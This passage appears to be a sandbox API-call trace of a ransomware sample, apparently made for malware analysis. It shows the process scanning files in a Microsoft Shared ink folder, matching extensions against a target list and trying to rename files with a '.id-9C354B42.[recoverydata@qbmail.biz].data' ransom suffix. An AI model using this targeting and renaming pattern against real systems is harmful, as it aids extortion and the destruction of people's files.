lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0084.743] lstrlenW (lpString=".pdf") returned 4 [0084.743] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0084.743] lstrlenW (lpString=".xls") returned 4 [0084.743] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0084.743] lstrlenW (lpString=".xlsx") returned 5 [0084.743] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0084.743] lstrlenW (lpString=".ppt") returned 4 [0084.743] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0084.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0084.744] lstrlenW (lpString=".zip") returned 4 [0084.744] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0084.744] lstrlenW (lpString=".rar") returned 4 [0084.744] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0084.744] lstrlenW (lpString=".bz2") returned 4 [0084.744] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0084.744] lstrlenW (lpString=".7z") returned 3 [0084.744] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0084.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0084.744] lstrlenW (lpString=".dbf") returned 4 [0084.744] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0084.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0084.744] lstrlenW (lpString=".1cd") returned 4 [0084.744] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0084.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0084.745] lstrlenW (lpString=".jpg") returned 4 [0084.745] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0084.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0084.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0084.745] lstrlenW (lpString=".doc") returned 4 [0084.745] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0084.745] lstrlenW (lpString=".docx") returned 5 [0084.745] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0084.745] lstrlenW (lpString=".pdf") returned 4 [0084.745] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0084.745] lstrlenW (lpString=".xls") returned 4 [0084.745] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0084.745] lstrlenW (lpString=".xlsx") returned 5 [0084.745] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0084.745] lstrlenW (lpString=".ppt") returned 4 [0084.745] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0084.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0084.746] lstrlenW (lpString=".zip") returned 4 [0084.746] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0084.746] lstrlenW (lpString=".rar") returned 4 [0084.746] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0084.746] lstrlenW (lpString=".bz2") returned 4 [0084.746] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0084.746] lstrlenW (lpString=".7z") returned 3 [0084.746] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0084.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0084.746] lstrlenW (lpString=".dbf") returned 4 [0084.746] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0084.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0084.746] lstrlenW (lpString=".1cd") returned 4 [0084.746] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0084.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0084.746] lstrlenW (lpString=".jpg") returned 4 [0084.746] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0084.918] lstrcmpiW (lpString1=".avi", lpString2=".data") returned -1 [0084.918] lstrlenW (lpString="join.avi") returned 8 [0084.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0084.919] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=222208) returned 1 [0084.919] CloseHandle (hObject=0x20c) returned 1 [0084.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0084.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0084.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0084.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0084.919] lstrlenW (lpString=".doc") returned 4 [0084.919] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0084.920] lstrlenW (lpString=".docx") returned 5 [0084.920] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0084.920] lstrlenW (lpString=".pdf") returned 4 [0084.920] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0084.920] lstrlenW (lpString=".xls") returned 4 [0084.920] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0084.920] lstrlenW (lpString=".xlsx") returned 5 [0084.920] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0084.920] lstrlenW (lpString=".ppt") returned 4 [0084.920] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0084.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0084.920] lstrlenW (lpString=".zip") returned 4 [0084.920] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0084.920] lstrlenW (lpString=".rar") returned 4 [0084.920] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0084.920] lstrlenW (lpString=".bz2") returned 4 [0084.920] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0084.920] lstrlenW (lpString=".7z") returned 3 [0084.920] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0084.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0084.920] lstrlenW (lpString=".dbf") returned 4 [0084.920] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0084.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0084.920] lstrlenW (lpString=".1cd") returned 4 [0084.920] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0084.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0084.921] lstrlenW (lpString=".jpg") returned 4 [0084.921] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0084.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0084.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0084.921] lstrlenW (lpString=".doc") returned 4 [0084.921] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0084.921] lstrlenW (lpString=".docx") returned 5 [0084.921] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0084.921] lstrlenW (lpString=".pdf") returned 4 [0084.921] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0084.921] lstrlenW (lpString=".xls") returned 4 [0084.921] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0084.921] lstrlenW (lpString=".xlsx") returned 5 [0084.921] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0084.921] lstrlenW (lpString=".ppt") returned 4 [0084.921] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0084.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0084.921] lstrlenW (lpString=".zip") returned 4 [0084.921] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0084.922] lstrlenW (lpString=".rar") returned 4 [0084.922] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0084.922] lstrlenW (lpString=".bz2") returned 4 [0084.922] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0084.922] lstrlenW (lpString=".7z") returned 3 [0084.922] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0084.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0084.922] lstrlenW (lpString=".dbf") returned 4 [0084.922] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0084.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0084.922] lstrlenW (lpString=".1cd") returned 4 [0084.922] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0084.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0084.922] lstrlenW (lpString=".jpg") returned 4 [0084.922] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0084.922] lstrcmpiW (lpString1=".avi", lpString2=".data") returned -1 [0084.923] lstrlenW (lpString="split.avi") returned 9 [0084.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0084.923] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=194048) returned 1 [0084.923] CloseHandle (hObject=0x20c) returned 1 [0084.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0084.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0084.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0084.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0084.924] lstrlenW (lpString=".doc") returned 4 [0084.924] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0084.924] lstrlenW (lpString=".docx") returned 5 [0084.924] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0084.924] lstrlenW (lpString=".pdf") returned 4 [0084.924] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0084.924] lstrlenW (lpString=".xls") returned 4 [0084.924] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0084.924] lstrlenW (lpString=".xlsx") returned 5 [0084.924] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0084.924] lstrlenW (lpString=".ppt") returned 4 [0084.924] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0084.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0084.924] lstrlenW (lpString=".zip") returned 4 [0084.924] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0084.924] lstrlenW (lpString=".rar") returned 4 [0084.924] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0084.925] lstrlenW (lpString=".bz2") returned 4 [0084.925] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0084.925] lstrlenW (lpString=".7z") returned 3 [0084.925] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0084.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0084.925] lstrlenW (lpString=".dbf") returned 4 [0084.925] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0084.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0084.925] lstrlenW (lpString=".1cd") returned 4 [0084.925] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0084.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0084.925] lstrlenW (lpString=".jpg") returned 4 [0084.925] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0084.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0084.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0084.925] lstrlenW (lpString=".doc") returned 4 [0084.925] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0084.925] lstrlenW (lpString=".docx") returned 5 [0084.925] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0084.925] lstrlenW (lpString=".pdf") returned 4 [0084.926] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0084.926] lstrlenW (lpString=".xls") returned 4 [0084.926] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0084.926] lstrlenW (lpString=".xlsx") returned 5 [0084.926] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0084.926] lstrlenW (lpString=".ppt") returned 4 [0084.926] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0084.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0084.926] lstrlenW (lpString=".zip") returned 4 [0084.926] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0084.926] lstrlenW (lpString=".rar") returned 4 [0084.926] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0084.926] lstrlenW (lpString=".bz2") returned 4 [0084.926] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0084.926] lstrlenW (lpString=".7z") returned 3 [0084.926] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0084.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0084.926] lstrlenW (lpString=".dbf") returned 4 [0084.926] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0084.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0084.926] lstrlenW (lpString=".1cd") returned 4 [0084.926] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0084.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0084.927] lstrlenW (lpString=".jpg") returned 4 [0084.927] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0084.927] lstrcmpiW (lpString1=".avi", lpString2=".data") returned -1 [0084.927] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0084.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0084.928] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1600388) returned 1 [0084.928] CloseHandle (hObject=0x20c) returned 1 [0084.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0084.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0084.928] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0 [0084.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0084.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0084.928] lstrlenW (lpString=".doc") returned 4 [0084.928] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0084.928] lstrlenW (lpString=".docx") returned 5 [0084.928] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0084.929] lstrlenW (lpString=".pdf") returned 4 [0084.929] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0084.929] lstrlenW (lpString=".xls") returned 4 [0084.929] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0084.929] lstrlenW (lpString=".xlsx") returned 5 [0084.929] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0084.929] lstrlenW (lpString=".ppt") returned 4 [0084.929] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0084.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0084.929] lstrlenW (lpString=".zip") returned 4 [0084.929] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0084.929] lstrlenW (lpString=".rar") returned 4 [0084.929] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0084.929] lstrlenW (lpString=".bz2") returned 4 [0084.929] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0084.929] lstrlenW (lpString=".7z") returned 3 [0084.929] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0084.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0084.929] lstrlenW (lpString=".dbf") returned 4 [0084.929] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0084.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0084.930] lstrlenW (lpString=".1cd") returned 4 [0084.930] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0084.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0084.930] lstrlenW (lpString=".jpg") returned 4 [0084.930] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0084.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0084.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0084.930] lstrlenW (lpString=".doc") returned 4 [0084.930] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0084.930] lstrlenW (lpString=".docx") returned 5 [0084.930] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0084.930] lstrlenW (lpString=".pdf") returned 4 [0084.930] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0084.930] lstrlenW (lpString=".xls") returned 4 [0084.930] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0084.930] lstrlenW (lpString=".xlsx") returned 5 [0084.930] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0084.930] lstrlenW (lpString=".ppt") returned 4 [0084.930] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0084.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0084.931] lstrlenW (lpString=".zip") returned 4 [0084.931] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0084.931] lstrlenW (lpString=".rar") returned 4 [0084.931] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0084.931] lstrlenW (lpString=".bz2") returned 4 [0084.931] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0084.931] lstrlenW (lpString=".7z") returned 3 [0084.931] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0084.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0084.931] lstrlenW (lpString=".dbf") returned 4 [0084.931] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0084.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0084.931] lstrlenW (lpString=".1cd") returned 4 [0084.931] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0084.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0084.931] lstrlenW (lpString=".jpg") returned 4 [0084.931] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0084.932] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0084.932] lstrlenW (lpString="auxbase.xml") returned 11 [0084.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0084.934] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1434) returned 1 [0084.934] CloseHandle (hObject=0x20c) returned 1 [0084.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0084.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0084.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0084.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0084.934] lstrlenW (lpString=".doc") returned 4 [0084.934] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.934] lstrlenW (lpString=".docx") returned 5 [0084.934] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0084.934] lstrlenW (lpString=".pdf") returned 4 [0084.934] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.935] lstrlenW (lpString=".xls") returned 4 [0084.935] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.935] lstrlenW (lpString=".xlsx") returned 5 [0084.935] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0084.935] lstrlenW (lpString=".ppt") returned 4 [0084.935] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0084.935] lstrlenW (lpString=".zip") returned 4 [0084.935] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.935] lstrlenW (lpString=".rar") returned 4 [0084.935] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.935] lstrlenW (lpString=".bz2") returned 4 [0084.935] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.935] lstrlenW (lpString=".7z") returned 3 [0084.935] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0084.935] lstrlenW (lpString=".dbf") returned 4 [0084.935] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0084.935] lstrlenW (lpString=".1cd") returned 4 [0084.935] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0084.936] lstrlenW (lpString=".jpg") returned 4 [0084.936] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0084.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0084.936] lstrlenW (lpString=".doc") returned 4 [0084.936] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.936] lstrlenW (lpString=".docx") returned 5 [0084.936] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0084.936] lstrlenW (lpString=".pdf") returned 4 [0084.936] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.936] lstrlenW (lpString=".xls") returned 4 [0084.936] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.936] lstrlenW (lpString=".xlsx") returned 5 [0084.936] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0084.936] lstrlenW (lpString=".ppt") returned 4 [0084.936] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0084.936] lstrlenW (lpString=".zip") returned 4 